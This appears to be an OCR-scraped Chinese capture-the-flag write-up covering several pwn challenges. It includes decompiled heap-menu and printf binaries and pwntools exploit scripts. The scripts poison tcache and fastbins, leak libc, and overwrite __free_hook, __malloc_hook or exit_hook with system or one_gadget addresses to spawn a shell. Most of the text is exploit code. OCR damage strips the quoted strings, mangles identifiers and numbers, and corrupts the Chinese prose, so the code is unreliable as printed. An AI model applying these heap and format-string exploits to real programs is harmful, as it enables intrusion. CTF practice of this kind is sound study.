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add

char s[24]; // [rsp+18h] [rbp-26h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(@x28u);

printf("Index:");

memset(s, ©, ©xleuLLl);

read(@, s, @xFuLL);

vl = atoi(s);

if (vl <= 9 && !(&ptr)[vi] )

{
(&ptr)[v1] = (char *)malloc(@x2@uLl);
printf(“Content:");
sub_40092B( (&ptr)[v1i], 32LL);
puts(“Done!");

¥

return __readfsqword(@x28u) ~ v3;

edit

IDA View-A L] otees -A B A S L
unsigned __int64 edit()

{

unsigned int v1; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+1@h] [rbp-20h] BYREF
unsigned __inté64 v3; // [rsp+28h] [rbp-8h]

v3 = _ readfsgqword(@x28u);
printf("Index:");
memset (s, ©, ©xleull); |
read(®, s, OxFuLL);
vl = atoi(s);
if ( vl <= ox1F && (&ptr)[vli] && dword_6e2eBe != 3 )
—
printf("Content:");
sub_40092B( (&ptr)[v1i], 32LL);
++dword_602080;
=opacsC ooner s
}

return __readfsgword(&x28u) ~ v3;
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unsigned __int64 v3; // [rsp+28h]

v3 = _ readfsgqword(@x28u);
printf("Index:");
memset(s, ©, Ox10uLLl);
read(®, s, OxFuLL);
vl = atoi(s);
if (vl <= 9 && (&ptr)[vi] )
{
puts((&ptr)[v1]);
puts("Done!");
}

return __readfsqword(@x28u) " v3;

free
UIIQJ.EI su _J.III.U"I' Vady i LI :}PTLUIIJ LI U'—'_UII
v3 = _ readfsqword(©x28u);

printf("Index:");
memset(s, @, ©xleuLl);
read(®, s, OxFuLL);
vl = atoi(s);
if ( vl <= 9 && (&ptr)[vi] )
{
free((&ptr) vl
puts(“"Done!");
}

return __readfsgword(&x28u) ~ v3;
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.lunsigned __inté4 _ fastcall sub_4€092B(__int64 al, unsigned int a2)
o
i| unsigned __inté4 result; // rax

b unsigned int i; // [rsp+1Ch] [rbp-4h]

i for (1 =8; 3 ++1 )
7 { - |

] result = 1;

) if (1 >=2a2)

) break:;

L read(®, (void *)(i + al), 1uLl);

! if ( *( BYTE *)(i + 21) == 10 || 1 == a2 - 1)
5 {

} result = 1 + al;

; *(_BYTE *)result = 0;

j return result;

’ ¥

¥

return result;

} |
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from pwn import

context.log_level

process(

elf = ELF(
libc = ELF(

)

add(index, content):
r.sendlineafter(
r.sendlineafter(
r.sendafter(

edit(index, content):
r.sendlineafter(
r.sendlineafter(
r.sendafter(

show(index):
r.sendlineafter(
r.sendlineafter(

delete(index):
r.sendlineafter(

r.sendlineafter(

bss_addr = 0x602060

hitps://blog:csdmnetivengbagii

)
(index))

, content)

)
(index))

, content)

)
(index))

)
(index))




(p64(0)+p64 (0x31))*2)
)
)
)

ub4(r.recvuntil( )[:-1].1just(8, )))
(GEECENS))

edit (0, p64(heap_base 0x10) )
add (5, p64(9) p64(0x31) p64(heap_base) p64(bss_addr-0x10))

payload p64(bss_addr-0x18) p64(bss_addr-0x10) p64(0x20) p64(0x90)
add(6, payload)

add(7, p64(0) p64(0x21) p64(bss_addr-0x18) p64(bss_addr-0x10))

malloc_hook (ub4(r.recvuntil( ).1ljust(8, ))) oxfffffffffffffoo0)

malloc_hook - libc.sym[
(libc_base)

system_addr libc_base libc.sym[
free_hook = libc_base + libc.sym[

edit(0, p64(0) 3 p64(free_hook))
edit(@, p64(system_addr) )

delete(4)

r.interactive()
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add

{

ssize_t add()

unsigned __int64 v1; // [rsp+8h] [rbp-18h]

__int64 size; // [rsp+8h] [rbp-8h]

printf("Index :");
vl = read_num();
printf(“size: ");
size = read_num();
*((_QWORD *)&heaparray + 2 * vl + 1) = malloc(size);
if ( !'*((_QWORD *)&heaparray + 2 * vl + 1) || vi > @xA )
{
puts("Bad Guy!");
exit(1);
}
*((_QWORD *)&heaparray + 2 * vl) = size;
printf("Content:");
return read(®, *((void **)&heaparray + 2 * vl + 1), size);

edit
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{

nt edit()

unsigned __inté64 v1; // [rsp+6h] [rbp-18h]
__int64 nbytes; // [rsp+8h] [rbp-8h]

if ( count <=0 )

{
puts("Bad Guy!");
exit(1);

}

--count;

prin ndex :");

vl = read_num("Index :");

printf("size: ");

nbytes = read_num("size: ");

if ( !'*((_QWORD *)&heaparray + 2 * vl + 1) || vi > 9)
return puts("Bad Guy!");

printf(“content: ");

return read(@, *((void **)&heaparray + 2 * vl + 1), nbytes);

—
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}| unsigned __int64 v2; // [rsp+8h] [rbp-8h]

3| printf("Index :");

7| v2 = read_num("Index :");

3| if ( *((_QWORD *)&heaparray + 2 * v2 + 1) || v2 > exA )
)oA

) free(*((void **)&heaparray + 2 * v2 + 1));

L ve = (_QWORD *)((char *)&heaparray + 16 * v2 + 8);

) *y9 = OLL:

5|

I else
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exp

from pwn import
context.log_level
r = process(

elf

libc
)

ELF(
ELF(

IO _2 1 stdout_s libc.sym[

def add(index, size, content):

.sendlineafter(
.sendlineafter(
.sendlineafter(
.sendafter(

2 )
(index))
; (size))
, content)

edit(index, content):

.sendlineafter(
.sendlineafter(
.sendlineafter(
.sendafter(

delete(index):

r.sendlineafter(

r.sendlineafter(

DCION

add(0, ox18,
add(1, ©Oxc8,
add(2, ox68,

) )
5 (index))
> (size))
, content)

)
(index))

)
ox68

)

p64(0x61))




add(3, Ox68,

add(4, Ox68,

delete(1)

add(1,0xc8,

edit(0,0x20, 0x18 + p64(0x71))

delete(2)

delete(4)

edit(3, ( ox68 p64(0x71) ox68 p64(0x71)
add(4,0x68, )

add(2,0x68, )

add(5,0x68, p64(9) 6 p64(0xfbad1800) p64(0)*3 )
libc_base ub4(p.recvuntil( )[-6:].1just(8, ))-0x3c5600
print( (libc.address))

malloc_hook libc_base libc.symbols|[
system libc_base libc.symbols|[
delete(3)
delete(2)
edit (o, (0x18 p64(0x71) p64(malloc_hook-0x23)),0x18 p64(0x71)+p64(malloc_hook-0x23))
add(4,0x68, )
add(5,0x68, 0x13 + p64(libc_base + 0xf1147))
.recvuntil( )
.sendline(
.recvuntil(
.sendline(
.recvuntil(
.sendline(

return True

while True:

try:
global r
r = process(
exp()
r.interactive()

except:
r.close()
print
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.[void __noreturn echo()
i
| char s[264]; // [rsp+6h] [rbp-1186h] BYREF

unsigned __inté4 v1; // [rsp+108h] [rbp-8h]

| vl = __readfsqword(@x28u);

' do

oA

) fgets(s, 256, stdin);

) printf(s);

}

while ( strcmp(s, "exit\n") );
system("echo Goodbye");
exit(e):
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from pwn import

, 28983)

(r.recv(12), 16) 0x20830
libc_base libc.sym[
libc_base 0x4526a

(libc_base)
(malloc_hook)
(one_gadget)

(one_gadget & Oxff)
((one_gadget 8)
((one_gadget 16)
((one_gadget 24)
((one_gadget 32)
((one_gadget 40)
bytel 0x100

byte2 - bytel + 0x100
byte3 byte2 0x100
byte4 - byte3 0x100
byte5 byte4 + 0x100
byte6 byte5 0x100

(addrl)

(addr2)

(addr3)

(addr4)

(addr5)

. (addré6)
p64(malloc_hook)
p64(malloc_hook + 1)
p64(malloc_hook + 2)
p64(malloc_hook + 3)
p64(malloc_hook + 4)
p64(malloc_hook + 5)

r.sendline(payload2)

r.interactive()
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int hackhere()

{
return system("/bin/bash");
}
JRITHT .
break;
if (ve I=1)
return ©;

puts("id\t\tnumber");
for ( k = @; k < J; ++k )
printf("%d\t\t%d\n", k, v13[k]

}
if (ve I=3)

break;
puts("which number to change:");
__1s0c99_scanf("%d", &v5);
puts("new number:");
__1s0c99_scanf("%d", &v7);

v13[v5] = v73
¥
if (v6 1= 4)
break;
v9 = 8;

for (1 =0; 1 < J; ++1 )
ve += v13[1];

[ RIS, VOB R, A7 AR S AL
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char_vl3[lee];
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exp



from pwn import
remote(

def write addr(addr,va):
r.sendline( )

r.recvuntil(

r.sendline( (addr))

r.recvuntil(

r.sendline( (va))

r

.recvuntil(

recvuntil(

.sendline(

.sendline(

r.
r
r.recvuntil(
r
r

.recvuntil(

system_addr=0x080485AF
leave_offset=0x84

write addr(leave_offset, OXAF)

write_addr(leave_offset+1,0X85)
write_addr(leave_offset+2,0X04)
write_ addr(leave_offset+3,0X08)

r.sendline( )

r.interactive()
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add

v4d = _ readfsgqword(@x28u);
if ( unk_202014 )
{

}

else

{

puts("Exists! Now,you can edit your article.");

puts("Input string Length: ");
read(@, v3, 8uLL);
ve = strtol(vz, OLL, 10);
if ( (unsigned __inte4)ve > exlee )
{
puts(“Large!");
}
else
{
vl = gqword_2020818;
*qword_282018 = vo;
v1i[2] = malloc(v@);
unk_202014 = 1;
puts("Author name:");

read!ai gword 202018 + :Ll exleuLin

puts("Now,you can edit your article.");

}
}

return __readfsqword(@x28u) ~ v4;

}

C JE %1 long int strtol(const char *str, char *“endptr, int base) {244 str T4 A (1) 7445 B AR 45 45 7€ 1) base 4 h— B (GRALN
long int 1) , base W4T 2 F136 (&) Zia], B EEKE 0.

edit

if ( !unk_202014 )
return puts("Dont't exists.");
puts("New Author name:");
read(®, gqword_202018 + 1, @x10ulLL);
puts(“New contents:");
read(®, (void *)qword_202018[2], *qword_202018);
return puts("Over.");

add Seditfname#li n] LA Y,  ELEE o T MRER, AR IA IR FHRCR .



show

int show()

{

int result; // eax

if ( unk_202014 )

result = _printf_chk(1LL, "%s\nAuthor:%s\n", (const char *)qword_202018[2], (const char *)qword_202018 + 8);
else

result = puts("Dont't exists.");
return result;

}

Jall

‘IEI 1L ¥ LGW 0L L |_|—;| [EE N ] 11 Razall Iﬂl e e
1|_inté4 backdoor()

2{

3| return _printf_chk(1LL, "%p\n", &puts);

4}

HHELS i puts R B

FAVREAE BEWE A i tHoRIL B —PuaffI R, BIYRELROAJT, ANgedhfrgotk, 4 A7 ZHhfrhook. malloc R fH—ik, A
free %L, FTLAPIhook#BANHI DL, HIRATIH S #Fedit_hook. 4FAITHHB H K%, 2 fHexit_hook, #AJ5getshell.

Ty Eexit_hook

fElibc-2.23
exit_hook = libc_base+0x5f0040+3848
exit_hook = libc_base+0x5f0040+3856
fElibc-2.27
exit_hook = libc_base+0x619060+3840
exit_hook = libc_base+0x619060+3848

exp



from pwn import

context.log level

r remote( , 29247)
1libc ELF( )

def add(name):
r.sendlineafter( 5 )
r.sendlineafter( (0x30))

r.sendafter(

def edit(content):
r.sendlineafter( 5
r.sendlineafter( )

r.sendlineafter( , content)

r.sendlineafter(

r.recvuntil( )

puts_addr (r.recv(12), 16)

libc_base puts_addr libc.sym[

one_gadget libc_base oxf1147

exit_hook = libc_base+0x5f0040+3848
(puts_addr)
(libc_base)
(exit_hook)

p64(exit_hook)
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